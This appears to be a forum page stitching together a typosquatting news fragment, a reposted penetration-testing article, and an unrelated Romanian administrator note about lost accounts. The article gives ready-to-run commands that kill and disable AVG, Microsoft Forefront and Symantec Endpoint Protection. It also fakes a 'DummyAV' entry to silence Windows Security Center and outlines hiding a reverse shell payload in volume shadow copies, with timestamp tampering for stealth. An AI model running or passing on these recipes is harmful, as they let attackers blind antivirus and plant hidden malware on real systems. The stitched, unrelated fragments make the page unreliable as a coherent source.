out that Kaspersky’s site wasn’t actually legitimate, instead it was being set up by typosquatters who relied on the misspelled names of a site to lure users to their malicious locations. Sursa: softpedia.

When penetration testing, and targeting Windows systems, writing some executable content to the file system is invariably required at some stage. Unfortunately today, the antivirus vendors have become quite adept with signatures that match assembly stub routines that are used to inject malware into a system. The A/V guys will also pick up on common service executable files such as being used with Metasploit’s bypassuac. Let’s face it, we still need to write stuff into temp directories from time to time. Mark Baggett, and Tim Tomes recently presented some nice techniques on hiding malware within Windows volume shadow copies (Tim Tomes and Mark Baggett Lurking in the Shadows Hack3rcon II (Hacking Illustrated Series InfoSec Tutorial Videos)). Since it is unlikely for A/V products to be able to scan volume shadow copies, and the capability to create a process from a volume shadow copy using ‘wmic’ exists, then we would likely want to follow this sequence of tasks during a test: a) Disable the A/V product of choice. Upload our favorite/useful executable content. (perhaps a reverse TCP meterpreter shell or similar) c) Upload Mark and Tim’s excellent vssown.vbs script a. Enable service and create volume shadow copy. b. Disable volume shadow copy service. d) Delete our favorite/useful executable content and modified timestamps accordingly assuming we want to be somewhat stealthy. e) Execute our content from the volume shadow copy using ‘wmic’ using the excellent vssown script, or just through ‘wmic process call create’. The challenge presented is whether we can effectively disable the antivirus product of choice. Listed below are some possible techniques for three popular products which may get us what we need. None of these techniques are stealthy from a user interface perspective. Otherwise said, Windows security center and the A/V tray executable files themselves will try to inform the user that something is broken when we proceed with these recipes. 1. Grisoft’s AVG Using the 2012 Freeware version, I note the following information about AVG. Services running are the AVG watchdog (avgwd), and the AVG IDS agent (avgidsagent). The running processes are as follows: avgidsagent.exe, avgwdsvc.exe, avgemca.exe, avgrsa.exe, avgcsrva.exe, and avgnsa.exe. The watchdog process is very persistent at restarting things, is not killable, and neither is the service stoppable. DISABLING: a. Rename the binary files in %systemroot%\program files\avg\avg2012\ as follows. C:\> cd %systemroot%\program files\avg\avg2012 C:\> move avgcsrva.exe avgcsrva_.exe C:\> move avgemca.exe avgemca_.exe C:\> move avgnsa.exe avgnsa_.exe C:\> move avgrsa.exe avgrsa_.exe b. Kill the running processes simultaneously with a one line (wildcard powered) wmic command. C:\> wmic process where “name like ‘avg[cenr]%.exe’” delete c. The watchdog service will to restart all of the binaries but fail. ENABLING: Rename all of the binaries back to their original names, and the watchdog process will take care of the rest. 2. Microsoft Forefront The service name is “msmpsvc”, and the running processes are msmpeng.exe, and msseces.exe, one being the engine and the other being the GUI reporting/configuration tool respectively. DISABLING: kill the GUI tool and stop the A/V engine service. C:\> wmic process where name=”msseces.exe” delete C:\> sc stop msmpsvc ENABLING: start the A/V service engine, and start the GUI process. C:\> cd \Program Files\Microsoft Security Client C:\> sc start msmpsvc C:\> msseces.exe 3. Symantec Endpoint Protection The services running are ccEvtMgr, ccSetMgr, smcservice, and “Symantec AntiVirus”. The processes that matter are smb.exe, and smcgui.exe. DISABLING: kill the processes, and stop the services. I found that the event manager (ccEvtMgr), and settings manager (ccSetMgr) service can remain running without any impact. C:\> wmic process where “name like ‘%smc%.exe’” delete C:\> sc stop smcservice C:\> sc stop “Symantec AntiVirus” ENABLING: restarting just the smcservice will start everything else back up again. C:\> sc start smcservice To prevent the security center from complaining about your crashed AV, just register a second one via wmic: wmic /namespace:\\root\securitycenter PATH AntiVirusProduct CREATE displayName=DummyAV,onAccessScanningEnabled=TRUE,productUptoDate=TRUE Once you are finished testing, you can delete it again: wmic /namespace:\\root\securitycenter PATH AntiVirusProduct WHERE displayname='DummyAV' DELETE Sursa

Pff, de maine nu cred ca vor mai fi astfel de probleme. Ii rog pe cei carora le-au disparut conturile sa posteze: 1. Username - Sa isi creeze unul identic (cu membri VIP voi discuta in particular) 2. Link catre un post de pe vechiul cont sau user ID-ul username-ului vechi daca il stie Dar mai bine verific ce alte probleme pot sa apara, pe unde mai sunt foreign keys cu user id-ul vechi. O sa ma ocup diseara de asta daca am timp.